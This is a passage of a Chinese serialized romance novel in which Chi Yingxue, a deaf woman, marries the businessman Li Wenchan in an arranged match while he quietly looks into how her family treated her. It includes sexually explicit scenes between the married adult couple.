远处忽然响起吸气和喧哗。池映雪听不见,自顾自吃着。只是感觉余光里多了不少身影。 她对其余人的目光感知十分敏锐,慢慢地发现焦点向自己这边聚拢。 却不是对她。 池映雪端着一次性塑料杯,抬眸,杯里的水差点洒落。 一个与市井小巷格格不入的西装男人,不知何时就坐在她右侧的座位。 背景是一览无余的人间烟火,各种小吃摊贩无声叫卖,来往行人走过这里,都会侧头停留,却仅仅充当男子的背景。 侧颜的鼻梁高挺,下颌骨十分明显,线条优越,即使坐在廉价的塑料板凳上,也有种浑然天成的淡漠矜贵。 池映雪抿了一下热水,低头错开男子漫不经心扫来的视线。 正要端着盘子走开,对方却忽然伸出一根手指,点了点她面前的桌面。 池映雪这才发现他也是这样白。手指骨骼分明,有点像印象里的那个人。 但池映雪没有放松警惕,僵硬地望过去。 他居然,在比手语。 好吃吗? 男人指了指鸡柳。 池映雪呆呆地点头。对方那张很漂亮的红唇好像勾了一下,转瞬即逝。 不过可以肯定的是,不是嘲笑。 池映雪晃了晃神。男人又一次手点桌面。 再不吃就凉了。 池映雪如梦初醒。那双黑眸太深邃,感觉好像能把人看透了。也不知道这位先生今年多大,怎么会有这么厉害的眼神。 大人的眼神。 盯着别人看还被抓包。池映雪脸上泛起热,埋着头吃鸡柳,连塞两根喝水,才发现杯子已经空了。 池映雪放下杯子。干嚼。 余光里,那位先生的喉结在滚动。池映雪鼓着腮悄悄看过去,他点的鸡柳还没好,并没有在吃什么呀。 池映雪好不容易咽下嘴里面的鸡柳,眼前出现了一瓶甜牛奶。 热的。 买牛奶回来的助手模样的人退开,男人什么也没说,只是拧开瓶盖往前推,池映雪明白这是给她的。 陌生人给的东西不能喝。 话是这么说,可是这样一位矜贵的先生,虽然怪异了些,没道理害她。对他来讲不划算。 池映雪伸出大拇指,试探地按动两下。谢谢。男人果然回她:不客气。 牛奶甜丝丝的,池映雪喝了两口,解了渴,放在一边。 牛奶忽然被男人拿走。 池映雪惊讶地看着对方让助理重新买来一种新的牛奶,还有一个纸杯。他把剩下的牛奶倒进纸杯里自己喝,把新买来的那个可可牛奶给池映雪。 池映雪不明白他在做什么。碰巧他的鸡柳上了,男人又一次什么都没说,优雅地开始用餐,只是通身贵气在街头略显违和。 奇怪的人。 池映雪看了眼自己。 留了三年的长发随意披着,白色睡裙外套了一件临走前随意拿的红斗篷。 也挺奇怪的。 池映雪抿了一口可可牛奶,眼睛忽然亮了一下。 她小口小口啜饮,喝了半瓶才反应过来,连忙放下去。 男人在专心吃东西,并没注意到。 池映雪松了口气,却很快看见他又一次让助理去买来一瓶可可牛奶,放在她面前。 牛奶下还压有一张黑色的名片,池映雪只扫了一眼,浑身战栗。 李闻蝉。 李闻蝉。秦书刚才告诉池映雪的,池润为她安排的联姻对象。 池映雪的心猛烈地跳动起来,站起身想要逃走,却被那只用湿巾擦拭完的大手轻柔地按下。 李闻蝉先一步离开。 池映雪的呼吸慢慢缓和下来,注视着他的背影,直到被人群淹没。 唯一一个留下的助理这时才走向她,停在不远不近的位置,用手语道:池小姐。 我现在可以送您去任何您想去的地方。您放心,安全到达后我会离开,等您需要时再出现。而且绝对不会告诉任何人,您在哪里。 池映雪握紧温热的牛奶瓶,猝然朝男人消失的方向望去。 助理:从今天开始,我就是您的管家。只要您想走,没人能找到您,我的雇主也不行。 池映雪缓慢地抬手。 ……那联姻呢? 先生说,没有人可以强迫你。 睫毛颤抖起来。池映雪低下眼,认真地看向被留在桌上的名片。 很有质感的黑色纸片引有烫金花纹,在夕阳下闪闪发光。 那三个字十分醒目。 池映雪在心里轻念。李闻蝉。 102. 我们是夫妻 婚礼举行在一个春花烂漫的古堡中。 纯白色,比池映雪想象中还要盛大。洁白的婚纱像是加长版的公主礼服,盘发上也点缀着星点般的白花,头纱柔软地披在肩后。 唯一不大舒服的是脚下的高跟。池映雪从未穿过,有些磨脚,幸好她一向很会忍耐,不会扫兴。 走流程的时候,池映雪看着身边负责牵引她的池静俭,不由出神。 还以为会是池润。幸好不是。 池映雪看向远处正在和下属沟通的李闻蝉。他总是很忙,即便婚礼当天也不例外。 池映雪与外界脱节太久,最近才得知那位老爷子被最信任的至交蒙骗,几乎一蹶不振,原本就迫于无奈才选中的继承人池怀元后继无力,这才将李闻蝉从HK请回来主持大局。 他一回来,果然力挽狂澜,不多时便处理掉对手,站稳脚跟,甚至可以说在逐步掌握南城经济的命脉。难怪池润会如此得意于这门婚事。 可李闻蝉也不过刚满22岁,就在昨天。他们去民政局登记结婚的时候,池映雪在身份证上看到的。 这么着急。 那是不是说明,娶她对李闻蝉来说,也是有点用的? 池映雪只能用这个想法安慰自己,让愧疚感没那么强。那天鬼使神差接受了这门婚事,当晚就后悔了。她名声这么差,又不能帮到他。他这么好的人,不值得。 另一边,李闻蝉吩咐完下属,抬眸一瞥,呼吸停滞。 正要抬脚,韩潇和胡挚挟花而来。李闻蝉淡淡皱眉,听韩潇不可思议道:“居然真的结了,你够狠。” “虽说当初提拔池润势力,导致他们壮大后识人不清,被邢家蒋家联手利用是你决策失误。” 韩潇:“但为了制约,给个定心丸,再怎么说也不至于搭上你一辈子的幸福吧?” 李闻蝉抬起眉骨,不置可否。 胡挚这二世祖不学无术,什么都不清楚,乍一听韩潇嘴里他蝉哥是被迫结婚的,直言不讳道:“还有这事?那你们不早说,直接把二房轰了呗!” 胡家资金链雄厚,名气不算最大,但是实打实的现金流大王。李闻蝉眉心一跳,沉声道:“没那么严重。” 李闻蝉看向窗外的天空,掷地有声:“一场商业联姻而已。一则报答池家恩情,二则制约池润势力,三则替我挡住一些麻烦。” “也是。”韩潇叹口气,“而且那姑娘是个聋哑人,也不用担心窃听之类的。” 李闻蝉心不在焉地转开眼,视线停留在远方纯白色的身影,时移时回。 “不过你什么时候也会做这么明显失误的决策了?当年老爷子和我都不赞成你放任池润的势力,还不约束他手底下野心勃勃的邢家,这不是挖了火坑还添柴么……” 韩潇怀疑半天,没被理睬,看向好友的脸。 “李闻蝉。” 韩潇眯起桃花眼,“……我怎么感觉,你把自己赔进去了还挺高兴?” 李闻蝉很短暂地勾起唇角,恢复淡淡的神情:“嗯?” “有么?你想多了。” “我最好是。”韩潇意味深长道,“既然如此,那你今晚来我家睡吧,免得你和商业联姻的池小姐都不自在。” 日暮时分。 李闻蝉要应酬,晚些回来。池映雪先一步回到作为二人婚房的别墅。 别墅用冰蓝色玻璃打造,在晚霞中反射橘紫色光彩,前面是花园,后面有很大的泳池,此外还有各种休闲场所,池映雪不爱出门,也能进行各种娱乐活动。 柔软的双人大床上整齐摆放着一大一小、一左一右两件睡袍。池映雪想起秦书的嘱咐,攥紧女士那款,脚步匆匆地跑进浴室。 热气升腾。 池映雪闷在浴缸里,胡思乱想:应该不会吧。 李先生也说了,只是结婚而已。 他并没说要…… 水面浮现一张清瘦的脸,纤细的手臂。 池映雪垂下睫毛。 余光里忽然闯入一个黑影。水花四溅,池映雪缩进浴缸的角落,才发现是不知何时归来的李闻蝉。 他眸色很深,一步步朝浴缸逼近,池映雪屏住呼吸,没再敢抬起眼。 比体温滚烫的水面荡漾波纹。 一滴滴水珠顺着被抬起的小腿滑落。李闻蝉已经脱去西装外套,衬衣的袖口被挽起。 骨节分明的大手轻松握住池映雪的脚腕。微凉的黏腻质感在他比她肌肤略粗糙的指尖涂抹开,池映雪轻轻地蹙眉,有股奇怪的痒意。 李闻蝉没有看池映雪,只是低下头帮她处理鞋跟磨出的红痕。 她还以为她藏得很好。 可是李闻蝉在婚礼上那么忙,居然会注意到吗? 上完药,李闻蝉去洗手。池映雪终于敢抬起羽睫,不期然地和他目光交汇。 衬衫的扣子,自上而下一颗颗解开。 那只手分明慢条斯理,池映雪却不由乱了呼吸,在狭长的黑眸中窥见侵略的意味。 宽肩窄腰。 腰窝很深,腹肌沟壑分明。也许是八块,池映雪视线仓皇,慌慌张张地逃离。 听不见的水声泛起不容忽视的起伏。温暖的指尖很轻地捏住她的下巴,池映雪不得不同李闻蝉再次对视。 指腹摩挲。 为了让口型清晰,李闻蝉咬字很慢,有种蛊惑的意味。 “我们是夫妻。” 他靠近,炽热的温度更胜水面。 浓密的睫毛忽然耷拉下去,莫名让池映雪看出一分脆弱:“但你要是嫌弃我,就算了。” 没有人可以逼迫你。 连我也不行。 池映雪张了张唇,无奈地合上,脸颊泛起薄红。 颤抖的指尖在空中晃荡许久,落在李闻蝉锁骨下白皙的皮肤:不会。 池映雪顿了顿,眸光闪烁。 池映雪:你也不嫌弃我。 对吗? 回答她的是一张唇。 起初只是唇与唇的厮磨,而后攻略城池,几乎让人承受不住。 有那样一瞬间,李闻蝉过于猛烈的欲壑让池映雪以为他们并非只见过那草草一面的结婚对象,而是分离多年的爱侣。 水花拍打在她暴露在空气里的肩头,池映雪轻轻颤抖起来,很快被宽厚的掌心护住。温热的触感从肩骨划过后颈,后脑勺,耳朵。温柔珍重。 突如其来的凶猛在刹那间停下。 池映雪眼神迷离,懵懵懂懂地同李闻蝉分开,唇瓣还挂着被迫分断的银丝。李闻蝉的手掌遮住她的眼,没再亲过来,变为单纯的一起泡澡。 洗完,池映雪被抱到床上,李闻蝉摸了摸她的脸,出了房门。 应该还有工作吧。 池映雪抚摸着唇角,把头埋进被子里。 今夜所有佣人都休假。李闻蝉面上的潮红仍未散去,目光阴沉地打开别墅一层客厅的灯。 挑高的玻璃墙壁被骤然袭来的狂风冲击破裂,碎片锋利,在地板上泛着冷调银光。 ——— 一连几天,李闻蝉都没去公司,留在家里陪池映雪。 他说要履行夫妻义务,两个人每夜都睡在一起,可也仅限于此。 李闻蝉始终没做到最后一步。每次都半途走开,进浴室自己待好久才回来睡觉。 池映雪一开始还在害怕,后来却慢慢失落起来。 果然,是她没有吸引力吗? 池映雪知道她从来都不像池鲤鲤那样人见人爱,没收到过表白,人也清减。 可既然如此,李闻蝉大可不必那样亲她。 池映雪有点委屈,吸了吸鼻子,从李闻蝉的怀里离开,坐在软毛毯上整理婚礼那天的录像带。 李闻蝉手撑着脑袋,微偏了偏,眼角眉梢都染着笑。 池映雪真的很少有小情绪。 真的很可爱。 池映雪播放录像带,在某个画面放映时聚精会神,眼睛都没眨一下。 屏幕里一位温婉妇人正摇晃怀中的婴孩,哼吟着摇篮曲。 李闻蝉若有所思。 ——— 新婚第六天,李闻蝉一听池老爷子好转了些,提着和池映雪一起准备的果切就前往老宅。 本来打算带池映雪同来,但李闻蝉有要事要确认,不敢轻举妄动。 李闻蝉坐在老爷子的床前,打开保鲜盒,自己先吃了第一块:“我早说老瞿不是好东西,你看你,气得现在都没好。” 池老爷子人老脾气大:“那你还不是?当年由着池润……” 他住了口,摆摆手,“那丫头怎么样?听池润说她走丢后有些过于内向,他和小书精心照料了好几年才慢慢好转,你看着如何?” 李闻蝉眯起眼。 “她什么都好。” 李闻蝉沉下呼吸,“池润……但愿真如他所说。” “我看悬。”池老爷子冷笑一声,“我这侄子心大着呢。你走这两年多,没人和他儿子‘争’,他都快狂成太上皇了。” 小叉子戳在芒果上,像一面预告死亡的旗。李闻蝉垂眸掩盖情绪,池老爷子瞧着他,叹了口气:“但你走这一回,倒让我欣慰。” 李闻蝉走前在虹文中学里可是出了名的霸王二世祖,能混就混,虽然没有不良嗜好,但好学生那些优良品质也是三不沾。 大约从去HK前的那个元旦后开始吧,就像变了个人似的。埋头苦读,从教材课本到人物传记、哲学思想、广大名著无一不涉猎;以前社交都是靠他和唐伯霓安排牵线,那之后竟然自己主动拓展人脉了。 他还仅仅用2年不到的时间修完M国TOP大学的商科,兼顾发展HK的产业。池老爷子都怀疑这家伙根本没有睡觉的时间。这么压榨自己,难怪染上严重的烟瘾。 池老爷子嗅了嗅:“哦?今天身上怎么没有烟味?” 李闻蝉怔了片刻,摇头浅笑:“……不需要了。” “好,好。”池老爷子拍拍手,“戒了就好。你之前抽得太厉害,也不知道图什么!压力大就缓缓,干嘛非和打鸡血了似的?” 李闻蝉看了眼窗外。 春光明媚。 李闻蝉口吻冷淡:“为了,有抗衡的能力。” “对了老头,向您请教一件事。” 李闻蝉严肃得像在秉公办事,“所谓商业联姻,最重要的是什么?” 老爷子一时没反应过来,李闻蝉也没给他接话的机会,紧接道:“是让彼此的利益紧密相连、互惠共赢、达成信任吧?” “既然如此。”李闻蝉理性分析,盖棺定论,“如果不做真夫妻,怎么保证取得彼此最大的信任?” 窗外的乌云一瞬间盖过暖阳。电闪雷鸣。 李闻蝉:“但凡是个有人性的丈夫,都不会无缘无故让并不知内情的妻子守活寡。这样的人简直是猪狗不如,更别提被上天……特别关照,眷顾,对么?” “更何况什么时候消息捅出去,人人都会猜测他身心有障碍。” 外面又噼里啪啦地落了几道雷。白光一下又一下照在李闻蝉的侧脸,半光半影间,神色分毫不动。 好似真的只是在分析利弊,不带半点私心。 乌云极其缓慢地散开,阳光重新探出头。 池老爷子听着感觉不对:“等等,你什么意思……” “没什么意思。”李闻蝉头也不回就夺门而出,“回家了。” ——— 今天下午李闻蝉不在,池映雪变得很无聊。 过去三年都是这么一个人窝过来的,现在却难以忍受起来。 池映雪不知道这样的心情是好或不好,本想去花园里走走,窗外却雷电交加。 池映雪索性换好睡袍,闷进被窝里睡觉。 她在床上翻了个身,朝另一只空荡的枕头定定看了一会,偷偷摸摸地蠕动过去。 一模一样的枕头。同一床被子。 他走很久了。 可池映雪还是觉得,这边的被窝似乎要暖和些。 池映雪睡眠很浅,可以称得上糟糕。 最近几天睡在李闻蝉身边还算好些,以前整夜梦魇,抑或半梦半醒的日子似乎已经远去。 饶是如此,稍稍一点触碰还是会让池映雪朦胧睁眼。 腿心传来湿润的奇异感。 卧室里窗帘闭着,只有中间一道没拉紧的缝。夕光借此透进来,照映在埋在小腹下面的头颅。 浓黑色的碎发点染光泽,轻轻拂过池映雪的皮肤。 好痒。 不是第一次被李闻蝉做这种事。池映雪虽然羞耻,但并不抗拒。 只是今天的李闻蝉,似乎格外兴奋些。池映雪抽搐了一下,伸出手推了推他的头顶。 现在还是下午呢。 他怎么一回来就…… 又不做到后面。 池映雪不免心灰意冷,任由他作弄。 很快泄了力,没出息地抱着属于李闻蝉的枕头抽抽搭搭。 鼻子的抽动猝然停滞。 粗粝的异感让池映雪不禁张开唇。 李闻蝉很快倾身覆过来,轻轻啄吻她的脸。池映雪发不出声,嘴却也合不上,时不时吸气。 李闻蝉看见一次就吻一次。 就和她在索吻一样。池映雪硬气地咬唇。 李闻蝉就用空闲那只手的虎口代替池映雪的下唇瓣,抵住她的虎牙厮磨,避免她咬疼自己。 池映雪脸颊烧红,轻飘飘地想起刷来渔民开蚌取珍珠的短视频。 李闻蝉抬起手,在池映雪眼前轻而缓慢地舔舐自己的指尖。 珍珠挂在那张形状漂亮的红唇,在昏暗的氛围里泛有点点水光。 不多久,她也瘫软成液态般。 池映雪以为要结束了,结果再睁眼,惊恐地看见李闻蝉解开腰带。 很明显比她的手腕还要、还要……… 本来是想躲的。 但池映雪不懂。为什么在眼神相撞的那一刻,即使只有一条细缝的微光照亮。 李闻蝉眼里的情感也太过深沉。 他与她严丝合缝。吻着她的耳朵,像要含化了它。 好像为了等这一刻,煞费苦心。等了好久好久。 ——— 几乎一整晚都没睡。反反复复好多次,池映雪都没数清。 李闻蝉好不容易记挂着一早得去公司开会,终于肯抱着她去清理了睡下。没多久,池映雪又醒来。 迷蒙的视线中,掌心向她落来。 池映雪下意识以为又要挨打,瑟缩起来,才想起她现在已经不在过去的家里了。 眼睛红红地看着李闻蝉。 他会…… 李闻蝉的手只是温柔地落在她的肩膀,然后背部。 轻轻地拍着,像哄睡不安稳的小孩子一样。 再醒来已是中午。 别墅里的阿姨已经回来工作。李闻蝉走前特意嘱咐了会手语的阿姨来问池映雪在哪里用餐。 哪里都可以。阿姨转述他的意思。太太晚上累了,如果不想下楼,在床上摆张小桌子吃也没关系。 池映雪脸上一片红,说什么都不肯在床上吃,拖着酸痛的双腿下楼。 餐桌上有专门为她准备的饭菜。都还冒着锅气。 池映雪看见了一杯可可牛奶,眼角弯了弯。又在扫到桌上最中心的糖醋小排时,垂下了睫毛。 本来听李闻蝉说这是他们共同的住宅,池映雪打算趁天气不错,在花园里走走。 嚼完口中的食物,池映雪用牛奶咽下,还是没出门,就随意在别墅里面漫步。 房子是李闻蝉准备好的,不知道是不是有他参与装修设计。一应俱全,可以照顾一个独自生活又不习惯出门人士的全部需求。就连娱乐休闲的区域,也大都可以自娱自乐。 池映雪走近一间台球室。关上门,搜索教学视频,一个人慢悠悠学着打。 李闻蝉晚上回家的时候,池映雪已经能够连着打进两个球了。 池映雪蹦蹦跳跳地跑过去,把李闻蝉从门边拽过来。她没发现,她那点小力气压根就不足以拉扯动一个成年男性。 李闻蝉没有看台球,眯着眼睛盯着池映雪看—— 她把球打飞。 池映雪满脸羞红,转过身去。 好丢人。 完蛋了。她又搞砸了。 温热的大手覆上绞在一起的手指。李闻蝉从背后环住池映雪,弯腰贴着她压下去。 就着同一根长杆,李闻蝉一根一根帮池映雪摆好手型,确认发力点。 他的手指又长,又粗,关节处的骨骼特别分明,冷白皮上泛着粉色。 池映雪没法再直视这些手指。胡乱由着李闻蝉带她打,居然一打一个准。 最后一个黑球入洞,池映雪从未想过还能这样,眼睛亮晶晶的。 李闻蝉喉结微滚,把球重新摆好,球杆递给她:试试? 池映雪沉默起来。 他可以,不代表她也可以。 李闻蝉敲敲池映雪的额头。 我听说你特别聪明,次次考试都名列前茅,所以肯定没问题。 试试? 池映雪的头越埋越低,压根不敢去想她现在是个什么表情。 她就怕李闻蝉提起这个。 池映雪上学的时候,说什么的都有。作弊,小偷,一件比一件难听。她后来已经不在乎了,可对于新认识的李闻蝉,她现在的丈夫,不愿意让他知道半分。 哪怕李闻蝉也许会相信她。 池映雪被池润告知过丈夫的履历。从HK到M国再至如今。而她高中没有念完就被扣在家里,连高考都没有参加。 池映雪要走,李闻蝉揽住她的腰,扣进怀里动不得分毫。 眼眶越来越湿。池映雪瘪了瘪嘴,一下一下地吸着鼻子。 温热的气息叹在耳廓。李闻蝉用手帕很小心地为池映雪擦拭,当着她的面毫无避讳地输入手机密码,然后打字:「在想什么? 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池映雪每次踮起脚来亲亲他低下的侧脸,却能清晰感受到男人的怔神,眸色深深的,不知道又在想些什么。 池映雪不知道这样算不算是好夫妻,只知道她不抗拒。 李闻蝉是这个世界上对她最好的人。 池映雪复习完一册数学课本,趴在桌上想该怎么回报。想来想去,被阿姨提醒,可以去公司给先生送饭。 不会唐突吗? 阿姨笑着比划:先生肯定会很开心的。 为了给李闻蝉一个惊喜,池映雪提着双人份的午饭,乘地铁前往盛池总部。 久违的出门,衣服都是阿姨配好的。浅蓝开衫,面料舒服的贴身白长裙。 似乎有不少路人朝她看。池映雪不停地用余光偷瞥玻璃的反光,检查她看上去是不是很奇怪。 不会给李闻蝉丢脸吧。 池映雪本来想得好好的,忽然沮丧起来。 她有什么资格来呢? 妻子。也不过是联姻的妻子而已。 池映雪不是没看见池润那副嘴脸,哑巴当久了,便心安理得起来。李闻蝉娶她是不得已的,按理说不讨厌她就不错了,居然还对她这么好。池映雪不能恩将仇报。 她挑了个好天气出门,此刻外面却转瞬下起暴雨。 春天的雨,和夏季暴雨一样来势汹汹。池映雪像被捏碎的膨化薯片,握着扶手摇摇欲坠。 狂风暴雨像老天的警醒。都说要做一件事前,如果上天给你重重阻碍,说明连天都不看好。 地铁到站。池映雪正好没有伞,一边缩在出站口的角落,一边纠结要不要现在就回家算了。 万一。 万一池映雪去到公司,看见李闻蝉办公室里还坐着位漂亮的秘书怎么办? 中学时读过的小说里就有这么写的。 池映雪眼睛红红的,不想去想,又没法不去想。 最熟悉的两个男生,沈星桥和裴景,从中学时起就有无数人喜欢,不乏长得漂亮又特别优秀的。李闻蝉这样的人更是天之骄子,他的身边又会有多少人。 他二十多岁了,难道不会对谁动过心吗? 池映雪好委屈地想,他那么会接吻。 那么会抚摸她。那么会,会…… 手里的饭盒突然被稳稳地接了过去。池映雪猝然抬眼,还没看清来人,就被熟悉的体温抱入怀中。 李闻蝉好像在颤抖。 他在害怕吗? 害怕她去公司?池映雪一瞬间就想到这个可能,眼睛尘埃落定地黯下去。 池映雪从他怀中离开,举起手闷闷比划:对不起。 确实该说对不起。 池映雪眼圈又红了。 那她不是在说了嘛。 李闻蝉弯下腰,认真地同池映雪平视。 “是我对你说,对不起。” 池映雪几乎以为自己分辨错了口型。李闻蝉又用手语讲了一遍。 李闻蝉:“我不知道你要来,怪我。要是我出门前问问你,你就不会自己挤地铁,又没有带伞。” 还是阿姨看见下雨,急忙打来电话李闻蝉才知道。 他急匆匆地查看池映雪有没有被淋湿,想起她眼角的湿润,蹲身道:“是不是吓坏了?” 池映雪呆呆地盯着李闻蝉。 李闻蝉的眉越皱越紧,准备给前两天联系过的心理医生打电话,毫无防备地被池映雪亲了一下。 站外雨霾风障。 池映雪低着脑袋,在他手背写字。 ……见面吻。 ——— 站在通往顶层的专属电梯里,池映雪很不适应地扯了扯李闻蝉的袖口。 她贸然前来,真的不会打扰到他吗? 李闻蝉说的头头是道:你是我太太,盛池的另一位老板。 甚至你还是池家人,比我更名正言顺。 不管从哪个角度,池映雪来都是毫不违和的。如果有什么东西提出异议,那就是它没眼光还有智力障碍。 就是称呼得改一改。 李闻蝉打字时目不斜视、义正辞严、冠冕堂皇:「联姻夫妻也是夫妻,尤其是在外人面前,一定要维护好夫妻关系。当然为了防止临阵上场叫不习惯,日常生活里我们也要互称夫妻。」 李闻蝉把池映雪给他备注的“李先生”改成“老公”,看她涨红的脸色才忍住没在后面加一颗小爱心。 池映雪感觉脚下的电梯好像颤了一下。李闻蝉揽住她,神清气爽地走进最高层的办公室。 李闻蝉的会还没开完,池映雪被秘书领到办公室里面。 关上门,池映雪抿抿嘴,不让笑意太明显。 秘书是男的。 李闻蝉让池映雪先吃,但会议结束,回到办公室,饭盒还是好好地放在茶几上。 池映雪站在他的办公桌前,背面对他。 她在落地窗前逆光而立,安静地凝视桌面。 不知道好奇哪样东西,想看又不敢乱碰,只伸出一根手指摸了摸。 李闻蝉靠在门边注视了许久,抬着略有麻木的脚走近。 “这是我妈妈。” 李闻蝉对池映雪介绍她手里的相框。 为数不多的童年合照被李闻蝉从录像带里截图,打印下来,摆在这里。 池映雪点点头。她看得出来。 阿姨长得和李闻蝉是很像。 看神情是位温柔的夫人。 和池映雪曾无数次幻想过的“母亲”形象一样。 池映雪挤出一个笑。 不知道什么时候可以见见她。 李闻蝉很快便说:“我父母在我6岁那年去世了,后来被池老爷子收养。” 池映雪跟着他走向茶几的步子慢下来。 原来……原来是他。 李闻蝉从池映雪恍惚的眼神里瞧出点什么,边拆分饭盒边问:你听说过我? 池映雪犹豫地摇摇头。 李闻蝉眯起眼:“说、实、话。” 池映雪:…… 「我听说,你是最不让池爷爷省心的那个二」二世祖。 发现李闻蝉在看,池映雪弱弱地把手机挪远些,删掉重新打:「那个小少爷。」 她惴惴地补充:「还有小,小叔叔。」 李闻蝉磨牙。 必然是池静俭。很好。 池映雪绞尽脑汁地想过去对李闻蝉的了解,结果发现她获取信息的渠道就这么有限,可以说是完全不了解。 池映雪想到什么,呼吸都凝固:「那你转走前,是我的同学吗?」 李闻蝉默了一会,轻轻颔首。 池映雪不想再继续这个话题了。 她瞒了这么久的事,莫非他一开始就全部知道了吗? 池映雪知道她的坏名声有多响亮。李闻蝉把筷子塞给她,池映雪也浑浑噩噩。 李闻蝉叹了口气,抱她到怀里,夹一筷子喂一筷子。 今天阿姨又做了糖醋小排。池映雪本来就心情不好,这下更不好了。 她吃着吃着,那股甜腻腻的味道忽然消失了。不知为何,李闻蝉没再喂给她这道菜。 池映雪今天吃的比以往都多。她吃完李闻蝉才接着吃,解决掉剩下一整盒的糖醋小排。 池映雪握了握拳,在李闻蝉擦拭嘴部的时候,终于下定决心。 「你以前,有没有听说过我?」池映雪补充,「各种方面。」 各种方面她都可以解释。 李闻蝉煞有介事地点头。池映雪眸光明灭,不安地紧盯那双手之下的屏幕。 李闻蝉:「我当然听说过你。」 呼吸凝滞。 「你是一班那位特别漂亮、特别聪明、特别乖的女同学。」 103. 先婚后爱吗? 夜晚。 池映雪疲累睡去。待呼吸声均匀后,李闻蝉轻手轻脚地离开卧室。 “上次让你查的事怎么样了?” 通话那头传来下属的汇报。无外乎与池润、秦书先前的说辞一致。 李闻蝉:“你确信他们没有苛待池映雪。” “说来奇怪,太太的全部消息在那次研学后就像不存在了一样。没有出行记录,没有使用通讯设备,具体的情况查不清楚,但唯一能确定的是,而她母亲秦夫人经常带着自己做的饭菜去探望。” 下属补充,“哦对了,他们当年还为太太请了南城最富盛名的心理医生和礼仪老师。我尝试过联系,不过前者已经患癌去世,接诊记录只记载了太太走丢后留下阴影,自己不愿意出门;后者在太太被送到新区别墅后就出国了,应该关联不大。” 李闻蝉随口道:“试着找到这个人。” 挂断电话,李闻蝉站在窗边出神。 她可不像是爱吃糖醋小排的样子。 疼爱女儿的母亲,怎么会在婚前特意嘱咐他,池映雪喜欢这道菜? 可如果秦书真的不知道,那她…… 李闻蝉掀起眼皮,深沉的夜色浸在眸底。 步履沉重地回到房间。 柔软的枕上黑发散乱。池映雪眯着眼找他,眼尾还沾着湿润的红。 李闻蝉:吵醒你了? 抱歉的手势还没做出,池映雪抓住他的手指,摇了摇头。 她本来睡眠就浅。 睡着睡着,身边没了热源,这才不安地睁眼。醒来的时候身边没人,要不是床不一样,池映雪几乎都要以为又回到了过去。 以为……眼前的一切都是她的梦。 池映雪试探地钻到李闻蝉怀里,重新闭眼。视觉消失的时候,其他感官就更加敏锐。 池映雪闻到了一股很熟悉、很清冽的香味,忍不住深嗅。 额头贴近的肌肤下,喉结上下滚动。 ——— 李闻蝉这几天早出晚归,池映雪给自己找事干。 上午闷起头看书;下午回忆李闻蝉教她的办法,一个人练习打台球。 台球室很大,显得很空旷。 池映雪这才在手机里学到,李闻蝉那天展示的叫“一杆清台”。她下载了一个大师班,朝着这个方向努力。 接连三球进洞。池映雪下意识回头,却没有人可以分享喜悦。 门口倒是有阿姨守着,但不是池映雪心里想的那个。 池映雪低下头,想起李闻蝉“听说”的那句话。 怎么会有人这么说她? 他肯定是没有听过,编了个好听话哄她的。或者根本就是记错了。 愿意哄已经很好了。 池映雪再次弯下腰,挥出球杆。 她得努力……配得上这句话才行。 盛池最近大小事务不少,且都十分棘手。 这是李闻蝉第九天在公司里加班到深夜,面目阴沉,风雨欲来。 韩潇挂断和国外老总的通话,拿着一叠文件进门:“又有——” 浓烈的烟味呛了韩潇一嘴,连咳好几声:“你不是戒了吗?” 李闻蝉冷着脸,将手里的烟掐灭:“M国分公司的CFO惹事了,我明天不得不去。” “……so?” 那也不至于抽这么多烟吧。 韩潇:“这几年不都是这么过来的,到处飞,到处忙。” 李闻蝉不想说话,旋转座椅,面对落地窗外的浓浓夜色。 “那不一样。”椅子转回,李闻蝉阖目,“我现在是有家室的人了。” 韩潇:“才认识几天啊。我还不知道你,这么多年算得上朋友的就我和胡挚,领个证算什么家室?” 李闻蝉:“如果我说我认识她很久了呢?” “那肯定是这个世界疯了。”韩潇不上心地笑笑,“反正你这人就这个上进命,你不找事事也会来找你,还好结果都是顺着你的。文件放这,我先走了哈。” 李闻蝉若有所思,手指在桌面轻点几下,叫住韩潇。 “我记得你说,很喜欢一家洗护机构,所以收购了下来。” “对,J国的品牌。”韩潇回忆道,“你上个月的衣服不就是交给我在南城开的分店洗的吗?” “就是这个。” 李闻蝉拿出手机,“把他们的洗衣信息和香型都发给我。” 李闻蝉出差这两天,池映雪的睡眠又回到从前那样。 好不容易沉入梦乡,却惊恐地看见那个礼仪老师的脸。她得意、轻蔑地笑着,就在一群人面前张大嘴指责池映雪是小偷。 即使没有声音,也猜得出人们口中的内容。 “我就说她品行不端!以前她的同学们也说过她偷东西吧……” “对呀对呀,还都偷的是鲤鲤小姐的东西!一定是嫉妒她!” “我对她太失望了……” 不。 不是的。她不是小偷。 池映雪看见秦书失望的表情,绝望地想要辩解,却没有办法说一句话。 混乱中,淡淡的香味靠过来,逐渐变得浓烈。 柑橘味。 池映雪很久没有如此清晰地闻到过这个味道。从J国回来后,她也曾试过寻找相似的味道,没有哪一种和围巾上的余香一般清澈、干净、温柔。 那香味将她覆盖、笼罩、包裹。池映雪忽然有种沉溺感,缓缓睁眼。 他回来了。 深皱的眉头刹那间放松,困意在同时席卷大脑。 看起来,这几天似乎并不只有他一个人没睡好。 李闻蝉轻轻咬了一下池映雪的耳垂,无奈地哼笑了声,掀开被子。 床头暖黄色的小夜灯安静亮着。 李闻蝉的目光骤然深邃。 池映雪懵懵地低头,睡意都被吓醒了。 ——她穿的什么呀。 低领口,蕾丝边,小吊带。 大片的镂空,有种穿了还不如没穿的感觉。这是池映雪在网上看见的,当时只看推荐的人说“促进夫妻感情”就买了,没仔细看,买回来又不敢穿。 也就是见李闻蝉不在家,池映雪才拿出来试试,顺便穿着就睡了。 池映雪连忙用手挡住,被李闻蝉轻缓而不容分说地拉开。 手腕由他捉着,锢在她头顶以上。池映雪又想闭眼,李闻蝉却立马用指腹点了点她的睫毛。 看着我。他做出这样的口型。 那双黑眸在昏沉的光线里很幽深,蕴含了太多池映雪看不懂的情绪。 池映雪像被定住一样凝向李闻蝉,目光交汇片刻,李闻蝉率先拉开,向下。 他的吻也一点点落下去。额前的碎发,高挺的鼻梁还有红唇都离池映雪的眼睫愈发远,流连她鼻尖、唇角、耳垂和后颈,愈发向下。 腰刚抬起来,小睡裙的褶边起伏,勾勒出纤细的腰。 李闻蝉突然直身,大手盖住下半张脸擦拭。 视野里的发旋变成正面,池映雪惊讶地在丈夫的指缝间看见鲜红。他流血了! 手拿开。池映雪赶紧起身探过去。 这是…… 鼻血? 李闻蝉匆匆看了池映雪一眼,捂着脸去了浴室。 